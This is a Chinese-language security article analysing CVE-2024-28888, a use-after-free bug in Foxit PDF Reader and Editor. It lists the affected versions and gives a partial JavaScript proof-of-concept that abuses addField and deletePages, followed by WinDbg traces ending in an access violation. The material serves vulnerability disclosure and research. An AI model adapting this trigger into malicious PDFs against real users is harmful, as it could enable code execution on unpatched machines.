CVE-2024-28888:福昕阅读器中使用释放后导致远程代码执行

admin 2024年11月21日13:34:46评论40 views字数 5115阅读17分3秒阅读模式

CVE-2024-28888:福昕阅读器中使用释放后导致远程代码执行

网址

  • https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1967

目标

  • 福昕PDF编辑器版本:2024.X(含)~2024.2.3.25184(含)(Windows)

  • 福昕PDF编辑器版本:2023.X(含)~2023.3.0.23028(含)(Windows)

  • 福昕PDF阅读器版本:~2024.2.3.25184(包含)(Windows)

  • 福昕PDF编辑器版本:2024.X(含)~2024.2.3.64402(含)(macOS)

  • 福昕 PDF 编辑器版本:2023.x(含)~ 2023.3.0.63083(含)(macOS)

  • 福昕 PDF 阅读器版本:~ 2024.2.2.64388(包含)(macOS)

  • 福昕 PDF 编辑器版本:13.x(包含)~ 13.1.2.62201(包含)(macOS)

  • 福昕 PDF 编辑器版本:12.x(包含)~ 12.1.5.55449(包含)(macOS)

  • Foxit PDF Editor版本:~11.1.9.0524(包含)(macOS)

  • 福昕 PDF 编辑器版本:13.X(包含)~ 13.1.3.22478(包含)(Windows)

  • 福昕 PDF 编辑器版本:12.X(包含)~ 12.1.7.15526(包含)(Windows)

  • Foxit PDF Editor版本:~11.2.10.53951(包含)(Windows)

解释

Foxit PDF Reader使用V8 JavaScript引擎支持交互式PDF功能。交互式 PDF 是包含可点击链接、按钮、表单字段、音频、视频和其他元素的 PDF 文件。

Foxit PDF Reader在管理复选框对象时存在释放后使用漏洞。在下面的PoC代码中,delete_pages()回调函数在addField()执行第二个函数时被触发。deletePages()当复选框对象被释放然后在未经验证的情况下重新使用时,就会出现释放后使用漏洞。

function main() { 

 var aa = app.activeDocs[0].addField("ADD", "checkbox", 2, [17,0,5,14] ).defaultIsChecked(0);

 getField("txt3").setAction("Calculate",'delete_pages();');

 app.activeDocs[0].addField("ADD", "checkbox", 0, [17,0,5,14] ) ;
 
 // 이후 checkbox object가 재사용될 때 use-after-free 취약점 발생함
 // 재사용하는 부분 PoC 코드 정확하게 공개되지 않음

}

function delete_pages(arg1, arg2, arg3) {

  app.activeDocs[0].deletePages();
  app.activeDocs[0].deletePages();

}

addField()函数执行后创建的易受攻击的缓冲区 ( )0x18bbf0e0是:

0:000> p
eax=18babf00 ebx=076fe0dc ecx=175db036 edx=00000001 esi=00000002 edi=16426750
eip=01b0fc8b esp=076fdcfc ebp=076fdd50 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b ds=002b es=002b fs=0053  gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5069db:
01b0fc8b 8bf8 mov edi,eax
0:000> dd eax
18babf00 0c8cb610 18bbf0e0 18bbf0b0 00000000
18babf10 00000000 00000000 00000000 00000000
18babf20 00000000 00000000 00000000 00000000
18babf30 00000000 00000000 00000000 00000000
18babf40 00000000 00000000 00000000 00000000
18babf50 00000000 00000000 00000000 00000000
18babf60 00000000 00000000 00000000 00000000
18babf70 00000000 00000000 00000000 00000000
0:000> dd 18bbf0e0 ;<----------------------------------- (3)
18bbf0e0 00000003 00000000 0c8cb610 18bbf0b0
18bbf0f0 00000000 18b92af8 00000001 00000001
18bbf100 00000000 00000004 00000000 00000000
18bbf110 00000000 18bb7c08 18bb7c20 18bb7c38
18bbf120 18bb7c50 18bbe280 18bbe2a0 18bb7c68
18bbf130 18bbe2c0 18bb7c80 18ba1c78 18bbe2e0
18bbf140 18bb7c98 18bb7cb0 18bb7cc8 18bb7ce0
18bbf150 18bb7cf8 18bb7d10 18bb7d28 18bb7d40

deletePages()函数执行后,缓冲区按如下方式释放:(8)表示分配状态,(9)表示解除分配状态。

0:000> dd esi ;<----------- (8)
18bbf0e0 00000003 00000000 0c8cb610 1c789aa0
18bbf0f0 00000000 18b92af8 00000000 00000002
18bbf100 00000000 00000004 00000000 00000000
18bbf110 00010006 18bbf0b0 00000000 00000000
18bbf120 00000000 1c7711a0 00000010 00000002
18bbf130 18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140 00010006 18bbf0b0 00000000 00000000
18bbf150 00000000 1c7711e0 00000010 00000001
0:000> p
eax=00000000 ebx=076fcfe4 ecx=175da3be edx=075dd000 esi=18bbf0e0 edi=0c8cb610
eip=01ed24bf esp=076fcf6c ebp=076fcfc4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b ds=002b es=002b fs=0053  gs=002b efl=00200206
FoxitPDFReader!safe_vsnprintf+0x37768f:
01ed24bf 83c404 add esp,4
0:000> dd esi ;<----------- (9)
18bbf0e0 00000000 00000000 0c8cb610 1c789aa0
18bbf0f0 00000000 18b92af8 00000000 00000002
18bbf100 00000000 00000004 00000000 00000000
18bbf110 00010006 18bbf0b0 00000000 00000000
18bbf120 00000000 1c7711a0 00000010 00000002
18bbf130 18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140 00010006 18bbf0b0 00000000 00000000
18bbf150 00000000 1c7711e0 00000010 00000001

复选框对象被释放,然后bytestring由对象重新分配。0x18bbf0e0您可以看到一个新对象被分配到相同的地址(),如下所示。

0:000> p
eax=ffffffff ebx=076fe0dc ecx=18bbf0e0 edx=075dd000 esi=00000001 edi=1c777df0
eip=01b10022 esp=076fdcf8 ebp=076fdd50 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b ds=002b es=002b fs=0053  gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506d72:
01b10022 e849573d00 call FoxitPDFReader!safe_vsnprintf+0x38a940 (01ee5770)
0:000> dd ecx <------------------------ (10)
18bbf0e0 00000000 0000001f 0000001f 62626952
18bbf0f0 435f6e6f 67657461 5f79726f 74736f50
18bbf100 6e616353 6974704f 00736e6f 00000000
18bbf110 00010006 18bbf0b0 00000000 00000000
18bbf120 00000000 1c7711a0 00000010 00000002
18bbf130 18bb9cbc 18bb9c98 0000000a 18bbe2e0
18bbf140 00010006 18bbf0b0 00000000 00000000
18bbf150 00000000 1c7711e0 00000010 00000001
0:000> db ecx L28
18bbf0e0 00 00 00 00 1f 00 00 00-1f 00 00 00 52 69 62 62  ............Ribb
18bbf0f0 6f 6e 5f 43 61 74 65 67-6f 72 79 5f 50 6f 73 74  on_Category_Post
18bbf100 53 63 61 6e 4f 70 74 69

当复用 Checkbox 对象时,0x18bbf0e0位于“缓冲区地址 ( ) + 0xc”的值 ( 0x62626952)被传递给this该对象(此处为寄存器)。esi最初,复选框对象中的值是一个指针,但当它被释放并0x62626952接受一个值时,就会发生访问冲突。

0:000> p
(21e8.21f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000008e0 ebx=00000000 ecx=00000066 edx=00000000 esi=62626962 edi=076fdcc4
eip=02124612 esp=076fdc7c ebp=076fdc84 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
FoxitPDFReader!safe_vsnprintf+0x5c97e2:
02124612 f77608 div eax,dword ptr [esi+8] ds:002b:6262696a=????????

取消分配复选框对象后,攻击者bytestring可以分配一个对象,从而可能允许读取和写入任意地址。这种可能性可能会导致远程代码执行。

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2024-28888

原文始发于微信公众号(Ots安全):CVE-2024-28888:福昕阅读器中使用释放后导致远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:34:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-28888:福昕阅读器中使用释放后导致远程代码执行https://cn-sec.com/archives/3400052.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息